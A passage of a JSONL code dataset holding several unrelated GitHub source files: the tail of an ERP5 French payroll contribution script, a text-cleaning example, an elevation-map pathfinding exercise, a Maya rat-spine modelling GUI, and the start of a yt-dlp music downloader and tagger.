social_contribution.getTitle()\n base = getattr(paysheet_line, 'base', 0.0)\n rate = getattr(paysheet_line, 'employer_price', 0.0)\n temp_individual_fee_dict[ctp] = temp_individual_fee_dict.get(ctp, 0.) + base\n fee_per_ctp_dict[ctp] = fee_per_ctp_dict.get(ctp, 0.) + base\n if ctp[-1] not in ('P', 'D'):\n standard_rate_mapping[ctp] = rate\n current_ctp_set.add(ctp) # Employee already contributed to this category\n if not SOCIAL_ENTITY:\n SOCIAL_ENTITY = paysheet_line.getSourceSectionValue().getCorporateRegistrationCode()\n # For transport fee\n if ctp == '900T':\n transport_individual_fee[paysheet_id] = (float(base), SOCIAL_ENTITY, abs(float(base)*float(rate)), INSEE_CODE)\n # For \"Fillon\" reduction fee\n if ctp == '671P':\n fillon_relative_min_salary[paysheet_id] = relative_minimum_salary\n fillon_individual_reduction[paysheet_id] = base\n\n # Let's compute CTP 400D, which doesn't appear on paysheet\n # 400D only applies if gross salary is lower than a maximum\n other_information_dict = paysheet.PaySheetTransaction_getOtherInformationsDataDict()\n year_to_date_gross_salary = float(other_information_dict['year_to_date_gross_salary'])\n if year_to_date_gross_salary < 2.5 * relative_minimum_salary * int(context.getEffectiveDate().month()):\n ctp = '400D'\n cice_relative_min_salary[paysheet_id] = relative_minimum_salary\n temp_individual_fee_dict[ctp] = temp_individual_fee_dict.get(ctp, 0.) + gross_salary\n fee_per_ctp_dict[ctp] = fee_per_ctp_dict.get(ctp, 0.) + year_to_date_gross_salary\n current_ctp_set.add('400D')\n updateIndividualFeeDict(paysheet_id, temp_individual_fee_dict)\n done_ctp_set.update(current_ctp_set)\n\n\ndef getFeeFromDate(ctp_code, date):\n '''\n Return a list of the previous contributions for\n a specific CTP code in the older DSN\n '''\n amount_list = []\n aggregated_fee_list = context.DSNReport_getGroupedOlderValues(searched_bloc='S21.G00.23',\n grouping_rubric='S21.G00.11.001',\n from_date=date)\n for dsn_record in aggregated_fee_list:\n for establishment in aggregated_fee_list[dsn_record].keys():\n if establishment != current_establishement_code:\n continue\n for bloc in aggregated_fee_list[dsn_record][establishment]:\n bloc_found = 0\n for rubric, value in bloc:\n value = value.strip('\\'')\n if rubric == 'S21.G00.23.001' and value == ctp_code:\n bloc_found = 1\n if rubric == 'S21.G00.23.001' and value != ctp_code:\n bloc_found = 0\n if bloc_found and rubric == 'S21.G00.23.004':\n amount_list.append(float(value))\n return (amount_list if len(amount_list) > 0 else [0])\n\n\ndef getFeeBlocAsDict(ctp, ctp_dict):\n \"\"\"\"\n Write a S21.G00.23 bloc for each ctp, helped by a record from the dict \"fee_per_ctp_dict\"\n \"\"\"\n ctp_code = ctp[:3]\n ctp_category = ctp[-1]\n bloc = {}\n bloc[\"S21.G00.23.001\"] = ctp_code\n bloc[\"S21.G00.23.002\"] = ('921' if ctp_category=='P' else '920')\n # Rate is defined only for special CTPs\n if ctp_category not in ('P', 'D'):\n bloc[\"S21.G00.23.003\"] = '%.2f'%(printAsPositiveRate(standard_rate_mapping[ctp]))\n # If CTP is Fillon deduction\n if ctp == '671P':\n bloc[\"S21.G00.23.005\"] = \"%.02f\" % round(ctp_dict[ctp])\n # For 260D we need to add other \"forfait social\" bases too\n elif ctp == '260D':\n bloc[\"S21.G00.23.004\"] = \"%.02f\" % round(ctp_dict[ctp] + ctp_dict.get('012D', 0.) + ctp_dict.get('0000', 0.))\n # All standard cases\n else:\n bloc[\"S21.G00.23.004\"] = \"%.02f\" % round(ctp_dict[ctp])\n\n # The CTP 900T needs this specific rubric\n if ctp == '900T':\n bloc[\"S21.G00.23.006\"] = INSEE_CODE\n return bloc\n\nfee_total_sum = 0.0\naggregated_fee_list = []\n\n# Write all the S21.G00.23 blocs needed\n# And compute the total to pay\nfor ctp in sorted(done_ctp_set):\n if ctp == '0000': # for special services, we need to add the base to CSG (=260D)\n fee_total_sum += abs(fee_per_ctp_dict[ctp] * standard_rate_mapping['260D'])\n continue\n if ctp in ('100D', '863D'):\n fee_total_sum += abs(fee_per_ctp_dict[ctp] * standard_rate_mapping[ctp])\n # blocs 100D and 863D do not appear in a social declaration\n continue\n aggregated_fee_list.append(getFeeBlocAsDict(ctp, fee_per_ctp_dict))\n if ctp == '671P':\n fee_total_sum -= abs(fee_per_ctp_dict[ctp] * standard_rate_mapping[ctp])\n else:\n fee_total_sum += abs(fee_per_ctp_dict[ctp] * standard_rate_mapping[ctp])\n\ntotal_payment_slip = []\ntotal_payment_slip.append((\"S21.G00.22.001\", SOCIAL_ENTITY))\ntotal_payment_slip.append((\"S21.G00.22.005\", \"%.02f\" % round(fee_total_sum)))\n\npayment = []\npayment.append((\"S21.G00.20.001\", SOCIAL_ENTITY))\npayment.append((\"S21.G00.20.005\", \"%.02f\" % round(fee_total_sum)))\n\nresult_dict = {'total_payment_slip': total_payment_slip,\n 'aggregated_fee_list': aggregated_fee_list,\n 'individual_fee_dict': individual_fee_dict,\n 'payment': payment,\n 'transport_individual_fee': transport_individual_fee,\n 'cice_relative_min_salary': cice_relative_min_salary,\n 'fillon_relative_min_salary': fillon_relative_min_salary,\n 'fillon_individual_reduction': fillon_individual_reduction}\n\nreturn result_dict\n","repo_name":"Nexedi/erp5","sub_path":"bt5/erp5_payroll_l10n_fr/SkinTemplateItem/portal_skins/erp5_payroll_l10n_fr/DSNMonthlyReport_getSocialContributionDict.py","file_name":"DSNMonthlyReport_getSocialContributionDict.py","file_ext":"py","file_size_in_byte":10475,"program_lang":"python","lang":"en","doc_type":"code","stars":171,"dataset":"github-code","pt":"75"} +{"seq_id":"10730113276","text":"import string\nimport regex\nimport re\nimport nltk\nfrom nltk.corpus import stopwords\n\n\nnltk.download()\nstop_en = stopwords.words(\"english\")\n\n# Example sentences\nsent1 = \"Sick times 🍫☕️💓#like #chocolate #coffee #iloveyou #coupleachievements\"\nsent2 = \"Check out this https://google.com/foobar you will not believe it\"\nsent3 = [\"i\",\"have\",\"a\",\"cat\",\"named\",\"sir\",\"purralot\",\"but\",\"he\",\"does\",\"not\", \"purr\", \"at\", \"all\"]\n\n# Removing punctuation\ntranslator = str.maketrans('', '', string.punctuation)\nsent_pun = sent1.translate(translator)\nprint(sent_pun)\n\n\n# Removing emojis\nemoji_pattern = regex.compile(\"\"\"\\p{So}\\p{Sk}*\"\"\")\nsent_pun_uni = emoji_pattern.sub(r' ', sent_pun)\nprint(sent_pun_uni)\n\n# Removing urls\nsent2 = re.sub(r\"http\\S+\", \"\", sent2)\nprint(sent2)\n\n\n# Removing stopwords\nsent3 = [x for x in sent3 if not x in stop_en]\nprint(sent3)\n\n\n\n\n","repo_name":"naetherm/NLP","sub_path":"text-mining/text-cleaning.py","file_name":"text-cleaning.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"32040989994","text":"from PIL import ImageColor, ImageDraw, Image\n\n# # class notes: class ElevationMap:\n\n# def __init__(self, filename):\n# self.elevations = []\n# with open(filename) as file:\n# for line in file:\n# self.elevations.append([int(e) for e in line.split()])\n\n\n# # max_elevations = []\n# # for row in self.elevations:\n# # max_elevations.append(max(row))\n# # self.max_elevations = max(max_elevations)\n\n# self.max_elevation = max(max(row) for row in self.elevations)\n# self.min_elevation = min(min(row) for row in self.elevations)\n# def ele_print(self, max_elevation, min_elevation):\n# print(min_elevation)\n# def get_elevation(self, x, y):\n# return self.elevations[y][x]\n\n# def get_intensity(self, x, y):\n# return (self.get_elevation(x, y) - self.min_elevation) / (self.max_elevation - self.min_elevation) * 255\n\n# ❸ >>> for x in range(100):\n# for y in range(50):\n# ❹ im.putpixel((x, y), (210, 210, 210))\n\nclass Map:\n\n def __init__(self, filename):\n self.elevations = []\n with open(filename) as file:\n for line in file:\n self.elevations.append([int(elev) for elev in line.split(\" \")])\n \n # finding highest and lowest points on map\n self.max_overall_elev = max(max(row) for row in self.elevations)\n self.min_overall_elev = min(min(row) for row in self.elevations)\n print(self.max_overall_elev)\n print(self.min_overall_elev)\n\n def get_elevation(self, x, y):\n \"\"\"flipping the coordinates so they're easier to read\"\"\"\n return self.elevations[y][x]\n\n def get_intensity(self, x, y):\n \"\"\"determine intensity of pixel for map\"\"\"\n return int((self.get_elevation(x, y) - self.min_overall_elev) / (self.max_overall_elev - self.min_overall_elev) * 255)\n\nclass DrawMap:\n \n\n def __init__(self, map):\n self.map = map\n self.x_start = 0\n self.y_start = 0\n self.total_path = []\n self.picture = Image.new('RGBA', (len(self.map.elevations[0]), len(self.map.elevations)))\n self.drawing = ImageDraw.Draw(self.picture)\n\n def draw(self):\n \"\"\"Drawing the map\"\"\"\n for x in range(len(self.map.elevations[0])):\n for y in range(len(self.map.elevations)):\n self.picture.putpixel((x, y), (self.map.get_intensity(x, y), self.map.get_intensity(x, y), self.map.get_intensity(x, y)))\n \n def determine_path(self):\n \n x_path = [self.x_start]\n y_path = [self.y_start]\n possible_y_path = [self.y_start, self.y_start - 1, self.y_start + 1]\n\n up_choice = abs(self.map.elevations[self.x_start + 1][possible_y_path[1]] - self.map.elevations[self.x_start][self.y_start])\n straight_choice = abs(self.map.elevations[self.x_start + 1][possible_y_path[0]] - self.map.elevations[self.x_start][self.y_start])\n down_choice = abs(self.map.elevations[self.x_start + 1][possible_y_path[2]] - self.map.elevations[self.x_start][self.y_start])\n diffs = {\"up\": up_choice, \"straight\": straight_choice, \"down\": down_choice}\n up = diffs[\"up\"]\n straight = diffs[\"straight\"]\n down = diffs[\"down\"]\n next_step = 0\n\n while x_path < len(self.map.elevations[0]) - 1: # why the '- 1' here?\n if up < down and up < straight:\n next_step = possible_y_path[1]\n elif down < up and down < straight:\n next_step = possible_y_path[2]\n elif down == up and down < straight:\n next_step = possible_y_path[2] # ignoring instruction to randomly choose path, just picking the down path\n else:\n next_step = possible_y_path[0]\n \n x_path.append(x_path + 1)\n y_path.append(next_step)\n\n self.total_path.append((x_path, y_path))\n print(self.total_path)\n return self.total_path\n\n def draw_path(self):\n self.drawing.line(self.total_path, fill='red')\n self.picture.save('map_with_line.png')\n \n # def draw_line(self):\n # \"\"\"Drawing the line\"\"\"\n # self.drawing.line([(20, 0), (100, 275)], fill='black') \n\n # self.picture.save('elevation_draw_example.png')\n\n\n# couldn't get image to save with separate drawing class\n# class DrawLine:\n\n# def __init__(self, canvas):\n# self.canvas = Image.new('RGBA', (len(example.map.elevations[0]), len(example.map.elevations)))\n# self.draw = ImageDraw.Draw(self.canvas)\n\n# def draw_line(self):\n# \"\"\"Drawing the line\"\"\"\n# self.draw.line([(0, 0), (50, 75)], fill='black')\n\n# self.draw.save('pic_with_line.png')\n\n# class Path:\n\n# def __init__(self, field, x_start, y_start):\n# self.field = field\n# self.x_start = x_start\n# self.y_start = y_start\n# self.total_path = []\n# self.picture = Image.new('RGBA', (len(self.field.elevations[0]), len(self.field.elevations))) \n# self.path = ImageDraw.Draw(self.picture)\n \n\n# def determine_path(self):\n \n# x_path = [self.x_start]\n# y_path = [self.y_start]\n# possible_y_path = [self.y_start, self.y_start - 1, self.y_start + 1]\n\n# up_choice = abs(self.field.elevations[self.x_start + 1][possible_y_path[1]] - self.field.elevations[self.x_start][self.y_start])\n# straight_choice = abs(self.field.elevations[self.x_start + 1][possible_y_path[0]] - self.field.elevations[self.x_start][self.y_start])\n# down_choice = abs(self.field.elevations[self.x_start + 1][possible_y_path[2]] - self.field.elevations[self.x_start][self.y_start])\n# diffs = {\"up\": up_choice, \"straight\": straight_choice, \"down\": down_choice}\n# up = diffs[\"up\"]\n# straight = diffs[\"straight\"]\n# down = diffs[\"down\"]\n# next_step = 0\n\n# while x_path < len(self.field.elevations[0]) - 1: # why the '- 1' here?\n# if up < down and up < straight:\n# next_step = possible_y_path[1]\n# elif down < up and down < straight:\n# next_step = possible_y_path[2]\n# elif down == up and down < straight:\n# next_step = possible_y_path[2] # ignoring instruction to randomly choose path, just picking the down path\n# else:\n# next_step = possible_y_path[0]\n \n# x_path.append(x_path + 1)\n# y_path.append(next_step)\n\n# self.total_path.append((x_path, y_path))\n \n# return self.total_path\n\n# def draw_path(self):\n# self.path.line(self.total_path, fill='black')\n# self.picture.save('map_with_line.png')\n\n\nif __name__ == \"__main__\":\n\n \n small = Map('elevation_small.txt')\n example = DrawMap(small)\n example.draw()\n example.draw_path()\n # path = Path(example, 0, 50)\n # path.draw_path()\n # line.draw_line()","repo_name":"momentum-cohort-2019-02/w3-pathfinder-tlcpack","sub_path":"elevation_picture.py","file_name":"elevation_picture.py","file_ext":"py","file_size_in_byte":7022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30254254479","text":"# -*- coding: utf-8 -*-\nexecfile(path+\"GuiObject.py\")\nexecfile(path+\"Mouvements.py\")\nexecfile(path+\"affichage.py\")\nexecfile(path+\"Names.py\")\nexecfile(path+\"placementManuel.py\")\nexecfile(path+\"Short.py\")\n\nclass SliderGrp(object):\n \"\"\" classe définissant la fenêtre de l'interface graphique \"\"\"\n def __init__(self,title,buttonList,checkBoxList,nameList,pointOnCurveList,locatorList,planesList,droites=[]):\n self.buttonList=buttonList\n self.sliderList=self.buttonList[0].sliderList\n self.droites=droites\n self.nameList=nameList\n self.pointOnCurveList=list(pointOnCurveList)\n self.locatorList=list(locatorList)\n self.window = cmds.window('window1',title =title,le=50,te=50,width=400,height=450)\n self.column = cmds.columnLayout()\n \n cmds.text(\"\\nMouvement de la colonne\")\n cmds.rowColumnLayout(numberOfColumns=4,columnWidth=[(1,300),(2,300),(4,50),(5,50),(6,50)])\n\n # opérations de rotation\n if self.droites==[]:\n for i in range(0,8):\n buttonList[i].create()\n if i!=6 or True:\n self.droites.append(buttonList[i].calcDroite())\n else :\n for i in range(0,8):\n buttonList[i].create()\n if i!=6 or True:\n buttonList[i].affectDroite(self.droites[i-2])\n\n cmds.setParent('..')\n cmds.text(\"\\nParametres de la courbe\")\n cmds.rowColumnLayout(numberOfColumns=5,columnWidth=[(1,1),(2,300),(3,50),(4,50),(5,50)])\n\n # position etc\n for i in range(8,len(buttonList)):\n buttonList[i].create()\n cmds.setParent('..')\n cmds.rowColumnLayout(numberOfColumns=1,columnWidth=[(1,300)])\n\n # Planes\n cmds.setParent('..')\n cmds.rowColumnLayout(numberOfColumns=1)\n\n for buttonRadio in planesList:\n buttonRadio.create()\n\n cmds.setParent('..')\n cmds.rowColumnLayout( numberOfColumns=3,columnWidth=[(1, 100),(2,100)])\n self.GuiButtonTTL=cmds.button(label=\"TranslateToLocator\",command=partial(translateToLocatorGui,self.sliderList))\n self.GuiButtonTTCV=cmds.button(label=\"TranslateToCV\",command=partial(translateToCVGui,self.sliderList))\n self.GuiButtonTTCV=cmds.button(label=\"TranslateExtrema\",command=partial(translateToExtremaGui,self.sliderList))\n self.GuiButtonS=cmds.button(label=\"ScaleSegment\",command=partial(scaleGui,self.sliderList))\n self.GuiButtonRedo=cmds.button(label=\"ScaleFactor\",command=partial(scaleOffsetGui,self.sliderList))\n self.GuiButtonSCPOC=cmds.button(label=\"ScaleCPOC\",command=partial(scaleCPOCGui,self.sliderList))\n self.GuiButtonRedo=cmds.button(label=\"ScaleComp\",command=partial(scaleCompGui,self.sliderList))\n self.GuiButtonSelect=cmds.button(label=\"Select\",command=selectGui)\n self.GuiButtonSelect=cmds.button(label=\"SelectCV\",command=selectCVGui)\n length=getLength();CVpos=calcPosCV();jtPos=JointPositions()\n self.GuiButtonSelect=cmds.button(label=\"Place\",command=partial(Placement,self.sliderList,length,CVpos,jtPos,False))\n self.GuiButtonSelect=cmds.button(label=\"Place And Save\",command=partial(Placement,self.sliderList,length,CVpos,jtPos,True))\n self.GuiButtonUndo=cmds.button(label=\"Undo\",command=partial(UndoGui,self.sliderList))\n self.GuiButtonUndo=cmds.button(label=\"ApproxCurve\",command=ApproxGui)\n \n # CheckBox\n cmds.setParent('..')\n cmds.rowColumnLayout( numberOfColumns=2,columnWidth=[(1, 200),(2,200)])\n for checkbox in checkBoxList : \n checkbox.create() \n\n cmds.showWindow(self.window)\n cmds.text(\"\\n\")\n\n \n def string2num(self,string):\n \"\"\" numéro de slider correspondant à l'opération \"\"\"\n string=string.lower()\n if \"rotcgd\" in string :\n return 0\n if \"rotchb\" in string :\n return 1\n if \"rotlgd\" in string :\n return 2\n if \"rotlhb\" in string :\n return 3\n if \"compression g\" in string :\n return 4\n if \"comp\" in string :\n return 5\n if \"rottgd\" in string:\n return 6\n if \"rotthb\" in string:\n return 7\n if \"x\" in string :\n return 8\n if \"y\" in string :\n return 9\n if \"z\" in string :\n return 10\n if \"scale\" in string :\n return 11\n if \"posture\" in string :\n return 12\n if \"orientation\" in string :\n return 13\n else:\n print(\"mauvaise operation : \",string)\n\n def string2button(self,string):\n \"\"\" slider correspondant à l'opération \"\"\"\n return self.buttonList[self.string2num(string)]\n\n\ndef clearSliderVariables():\n \"\"\" clear objets résiduels \"\"\"\n blinnList=cmds.ls('*blinn*')\n for i in blinnList:\n if(cmds.objExists(i)):\n cmds.delete(i)\n if (cmds.window(\"window1\", exists=True)):\n cmds.deleteUI(\"window1\") \n if(cmds.objExists('sliderGrp')):\n cmds.delete('sliderGrp')\n\ndef postureGroup(sliderList,sliderName,min,max,keepPosition=True,keepCurveLength=True):\n \"\"\" crée les boutons de paramètre de courbe \"\"\"\n functionSet=eval(\"set\"+sliderName)\n value=Names.getFunction(sliderName)()\n action2 = FunctionAction(value,functionSet,Cote=\"\",CoteOpp=\"\",keepPosition=keepPosition,keepCurveLength=keepCurveLength,args=[],mvt=True)\n slider2=SliderAbs(sliderName,action2,min,max,value,0.00000001,sliderList)\n return Group(sliderName,-1,sliderList,slider2)\n \ndef functionGroup(sliderList,sliderName,min,max,min2,max2,value,valueReset=0):\n \"\"\" crée les boutons de rotation \"\"\"\n getValue=angleCrv(sliderName)\n Cote=Names.Cote(sliderName)\n CoteOpp=Names.CoteOpp(sliderName)\n action=FunctionAction(value,rot,args=sliderName,keepPosition=True,Cote=Cote,CoteOpp=CoteOpp)\n slider=SliderOffset(sliderName,action,min,max,value,0.00000001,sliderList)\n action2 = FunctionAction(getValue,setRot,args=slider,mvt=True,keepPosition=True,Cote=Cote,CoteOpp=CoteOpp)\n slider2=SliderAbs(sliderName,action2,min2,max2,getValue,0.00000001,sliderList)\n return Group(sliderName,slider,sliderList,slider2) \n\ndef functionCheckBox(label,functionCheck,functionUnCheck,value,args=[]):\n \"\"\" crée les checkbox \"\"\"\n actionCheck=FunctionAction(value,functionCheck,Cote=\"\",CoteOpp=\"\",keepPosition=True,args=args,mvt=False)\n actionUnCheck=FunctionAction(not value,functionUnCheck,Cote=\"\",CoteOpp=\"\",keepPosition=True,args=args,mvt=False)\n return CheckBox(label,actionCheck,actionUnCheck,value,args=args)\n\n \ndef createWindows(nameList,pointOnCurveList,locatorList,droites=[]):\n \"\"\" crée la liste des boutons etc contenus dans l'interface graphique \"\"\"\n clearSliderVariables()\n\n #liste des textes (courbures etc)\n names=OperationsList() # CGD CHB etc\n fcts=[angleCrv for i in range(2,10)]+[getX,getY,getZ,getPosture,getOrientation,getLength] \n \n #liste mise a jour a chaque modification\n sliderList=[]\n for i,name in enumerate(names):\n sliderList.append(SliderDuo(name,fcts[i],[]))\n\n buttonList=[]\n\n # cervicales GD HB \n buttonList.append(functionGroup(sliderList,names[0],-30,30,-30,30,0))\n buttonList.append(functionGroup(sliderList,names[1],-30,30,-40,40,0))\n\n\n #lombaires\n buttonList.append(functionGroup(sliderList,names[2],-30,30,-30,30,0))\n buttonList.append(functionGroup(sliderList,names[3],-30,30,-40,40,0))\n\n # compression\n buttonList.append(functionGroup(sliderList,names[4],-30,30,-5,5,0))\n buttonList.append(functionGroup(sliderList,names[5],0,15,0,70,0))\n\n #tete\n buttonList.append(functionGroup(sliderList,names[6],-30,30,-90,90,0))\n buttonList.append(functionGroup(sliderList,names[7],-30,30,-50,50,0)) \n\n\n # position\n buttonList.append(postureGroup(sliderList,names[8],-60,60,keepPosition=False,keepCurveLength=False))\n buttonList.append(postureGroup(sliderList,names[9],-60,60,keepPosition=False,keepCurveLength=False))\n buttonList.append(postureGroup(sliderList,names[10],-60,60,keepPosition=False,keepCurveLength=False))\n\n # posture generale\n buttonList.append(postureGroup(sliderList,names[11],-90,90,keepPosition=True,keepCurveLength=True))\n buttonList.append(postureGroup(sliderList,names[12],-180,180,keepPosition=True,keepCurveLength=True))\n # scaling\n buttonList.append(postureGroup(sliderList,names[13],1,30,keepCurveLength=False,keepPosition=True))\n\n # checkBox pour la gestion d'affichage\n checkBoxList=[]\n HideRestOfSkeleton()\n HideHeadAndTail()\n HideSkeletonJoints()\n checkBoxList.append(functionCheckBox('Hide polygons',HidePolygons,ShowPolygons,True)) \n\n\n # gestion des plans\n paramList=[\"Curve\",\"\",\"Off\"]\n planesList=[]\n planesList.append(functionCheckBox('Show Plane',partial(ShowPlaneOn,paramList),HidePlane,False))\n planesList.append(RadioButtonGrp('type',[partial(ClickCurve,paramList),partial(ClickLocator,paramList)],['Curve', 'Locator'],2,paramList))\n planesList.append(RadioButtonGrp('portion',[partial(ClickN,paramList),partial(ClickC,paramList),partial(ClickL,paramList),partial(ClickT,paramList)],['Normal', 'Cervicales', 'Lombaires','Tete'],4,paramList))\n\n # on cree le sliderGrp a partir de tous les sliders\n sliderGrp1=SliderGrp(\"Modelisation de la colonne du rat\",buttonList,checkBoxList,nameList,pointOnCurveList,locatorList,planesList,droites)\n colorSkeleton(nameList)\n return sliderGrp1\n\ndef do(sliderList,string,value,updateText=True,nMax=30):\n \"\"\" effectue la bonne opération (angles précis) \n string : opération ex CGD\n value : paramètre à fixer \"\"\"\n sl=sliderList[numSlider(string)]\n sl.slider2.setValue(value)\n sl.slider2.update(updateText,nMax=nMax)\n\n\n\n\n","repo_name":"steinhia/RatModelisation","sub_path":"SliderGrp.py","file_name":"SliderGrp.py","file_ext":"py","file_size_in_byte":9857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"27065832453","text":"\nimport yt_dlp as yt_dl\nimport serde\nimport phrydy as tagg\nimport requests\nimport os\n# import subprocess\n# import ffmpeg # ffmpeg-python\nfrom PIL import Image\nimport io\n\nimport opts\n\nclass YTdl:\n def __init__(self, path, ext):\n self.ext = ext\n self.path = path\n options = {\n \"format\": \"bestaudio\",\n 'postprocessors': [{\n 'key': 'FFmpegExtractAudio',\n #'preferredquality': '160', # youtube caps at 160\n \"preferredcodec\": self.ext\n }],\n \"noplaylist\": True,\n \"quiet\": True,\n \"outtmpl\": self.path + \"%(id)s.%(ext)s\",\n \"verbose\": False,\n \"no_warnings\": True,\n \"noprogress\": True,\n \"geo_bypass\": True,\n # \"skip_playlist_after_errors\": 5,\n \"extract_flat\": \"in_playlist\", # dont recursively seek for every video when in playlist\n # \"concurrent_fragment_downloads\": 100,\n }\n self.ytd = yt_dl.YoutubeDL(options)\n self.yt_url = \"https://youtu.be/\"\n # self.yt_url = \"https://music.youtube.com/watch?v=\"\n # self.yt_url = \"https://www.youtube.com/watch?v=\"\n\n# global ytdl for all songs to use \nytdl = YTdl(opts.musi_path, opts.musi_download_ext)\ntemp_ytdl = YTdl(opts.temp_dir, \"flac\")\nmusicache = None\n\nclass SongInfo(serde.Model): # all metadata that i might care about\n titles: serde.fields.List(serde.fields.Str())\n video_id: serde.fields.Str()\n duration: serde.fields.Optional(serde.fields.Float()) # TODO: no need?\n tags: serde.fields.List(serde.fields.Str())\n thumbnail_url: serde.fields.Str()\n album: serde.fields.Optional(serde.fields.Str())\n artist_names: serde.fields.List(serde.fields.Str())\n channel_id: serde.fields.Str()\n uploader_id: serde.fields.Str()\n\n def empty():\n return SongInfo(\n titles = [\"\"],\n video_id = \"\",\n duration = None,\n tags = [],\n thumbnail_url = \"\",\n album = \"\",\n artist_names = [\"\"],\n channel_id = \"\",\n uploader_id = \"\",\n )\n\n def load(ytdl_data):\n # theres also track and alt_title in case of ytm\n titles = [ # priority acc to index (low index is better) maybe check if in english?\n ytdl_data.get(\"track\", None),\n ytdl_data.get(\"alt_title\", None),\n ytdl_data[\"title\"], # if this isnt there, something is wrong\n ]\n titles = [name for name in titles if name != None]\n\n video_id = ytdl_data[\"id\"]\n duration = float(ytdl_data[\"duration\"])\n tags = ytdl_data.get(\"tags\", [])\n thumbnail_url = ytdl_data[\"thumbnail\"]\n album = ytdl_data.get(\"album\", \"\")\n \n artist_names = [ # priority acc to index (low index is better) maybe check if in english?\n ytdl_data.get(\"artist\", None), # aimer\n ytdl_data.get(\"uploader\", None), # aimer - topic\n ytdl_data.get(\"creator\", None), #???\n ytdl_data[\"channel\"], # aimer official youtube\n ]\n artist_names = [name for name in artist_names if name != None]\n\n # donno whats diff here\n channel_id = ytdl_data[\"channel_id\"]\n uploader_id = ytdl_data[\"uploader_id\"]\n return SongInfo(titles=titles, video_id=video_id, duration=duration, tags=tags, thumbnail_url=thumbnail_url,\n album=album, artist_names=artist_names, channel_id=channel_id, uploader_id=uploader_id)\n\nclass Song(serde.Model):\n title: serde.fields.Optional(serde.fields.Str())\n key: serde.fields.Optional(serde.fields.Str())\n artist_name: serde.fields.Optional(serde.fields.Str())\n info: serde.fields.Nested(SongInfo)\n last_known_path: serde.fields.Optional(serde.fields.Str())\n\n def new(title, key, artist_name, path=None):\n return Song(\n title = title,\n key = key, # youtube videoid\n artist_name = artist_name,\n info = SongInfo.empty(),\n last_known_path = path,\n )\n\n def change_name(self, new_name):\n self.title = new_name\n \n def get_path(self):\n pass\n \n def download(self):\n ytdl.ytd.download([self.url()])\n self.last_known_path = f\"{ytdl.path}{self.key}.{ytdl.ext}\"\n\n def download_and_get_info(self):\n ytdl_data = ytdl.ytd.extract_info(self.url(), download=True)\n self.last_known_path = f\"{ytdl.path}{self.key}.{ytdl.ext}\"\n return self.get_info_ytdl_data(ytdl_data)\n\n def temporary_download(self):\n temp_path = f\"{temp_ytdl.path}{self.key}.{temp_ytdl.ext}\"\n download = not os.path.exists(temp_path)\n ytdl_data = temp_ytdl.ytd.extract_info(self.url(), download=download)\n\n # ytdl_data = ytdl.ytd.extract_info(self.url(), download=False)\n self.get_info_ytdl_data(ytdl_data)\n\n # temp_path = f\"{opts.temp_dir}{self.key}.flac\"\n # if os.path.exists(temp_path2): return temp_path\n\n # # youtube-dl -f bestaudio VIDEO_URL -o - 2>/dev/null | ffplay -nodisp -autoexit -i - &>/dev/null\n # proc = subprocess.Popen(f\"yt-dlp --quiet -f bestaudio {self.url()} -o - \", shell=True, stdout=subprocess.PIPE)\n # i = ffmpeg.input(\"pipe:\", f=\"webm\", loglevel=\"panic\").output(temp_path, f=\"flac\").run_async(pipe_stdin=True)\n # while True:\n # a = proc.stdout.read(512)\n # if not a: break\n # i.stdin.write(a)\n\n self.tag(path=temp_path, img_bytes=self.download_cover_image())\n\n return temp_path\n\n def get_uri(self):\n ytdl_data = ytdl.ytd.extract_info(self.url(), download=False)\n self.get_info_ytdl_data(ytdl_data) # for download_cover_image\n\n # yanked code from ytdlp github readme\n formats = ytdl_data[\"formats\"][::-1]\n best_video = next(f for f in formats if f['vcodec'] != 'none' and f['acodec'] == 'none') # acodec='none' means there is no audio\n audio_ext = {'mp4': 'm4a', 'webm': 'webm'}[best_video['ext']] # find compatible audio extension\n best_audio = next(f for f in formats if (f['acodec'] != 'none' and f['vcodec'] == 'none' and f['ext'] == audio_ext)) # vcodec='none' means there is no video\n\n return best_audio[\"url\"]\n\n def tag(self, path=None, img_bytes=None):\n if path is None:\n path = self.last_known_path\n else:\n self.last_known_path = path\n mf = tagg.MediaFile(path)\n mf.album = self.info.album\n mf.artist = self.artist_name\n mf.title = self.title\n\n if img_bytes is not None: \n mf.images = [tagg.mediafile.Image(data=img_bytes)]\n \n mf.save()\n\n def download_cover_image(self):\n img1 = requests.get(self.info.thumbnail_url).content\n img2 = requests.get(opts.ytmusic.get_song(self.key)[\"videoDetails\"][\"thumbnail\"][\"thumbnails\"][-1][\"url\"]).content\n imag1 = Image.open(io.BytesIO(img1))\n imag2 = Image.open(io.BytesIO(img2))\n if imag1.size[1] > imag2.size[1]:\n imag = imag1\n else:\n imag = imag2\n\n imaag = io.BytesIO()\n imag.save(imaag, \"png\")\n return imaag.getvalue()\n\n def get_cover_image_from_metadata(self):\n mf = tagg.MediaFile(self.last_known_path)\n if len(mf.images) == 0: return None\n return bytes(mf.images[0].data)\n\n def set_musicache_refrence(tracker):\n global musicache\n musicache = tracker.musicache\n\n def from_key(key):\n s = Song.new(None, key, None)\n s.get_info()\n return s\n\n # TODO: how to confirm if filename is key?\n def from_file(path):\n s = Song.new(None, path.split(os.path.sep)[-1].split(\".\")[0], None, path=path)\n mf = tagg.MediaFile(path)\n s.title = mf.title\n s.artist_name = mf.artist\n s.info.album = mf.album\n s.info.duration = mf.length\n return s\n\n def get_duration(self, path=None):\n if self.info.duration is not None:\n return self.info.duration\n if path is None and self.last_known_path is not None:\n path = self.last_known_path\n mf = tagg.MediaFile(path)\n self.info.duration = mf.length\n return self.info.duration\n\n def move_to_artist_folder(self):\n if self.last_known_path.split(\".\")[-1] != opts.musi_download_ext:\n self.download()\n artist_folder = f\"{opts.musi_path}{self.artist_name}{os.path.sep}\"\n if not os.path.exists(artist_folder):\n os.mkdir(artist_folder)\n new_path = artist_folder + f\"{self.key}.{opts.musi_download_ext}\"\n os.rename(self.last_known_path, new_path)\n self.last_known_path = new_path\n\n def url(self):\n return f\"{ytdl.yt_url}{self.key}\"\n\n def try_get_info(self):\n if any([self.info.channel_id == \"\", self.info.thumbnail_url == \"\", self.info.video_id == \"\"]):\n return self.get_info()\n else:\n return self.info\n\n def get_info(self, force_offline_only=False):\n if musicache is not None:\n info = musicache.get(f\"{self.key}\", None)\n if 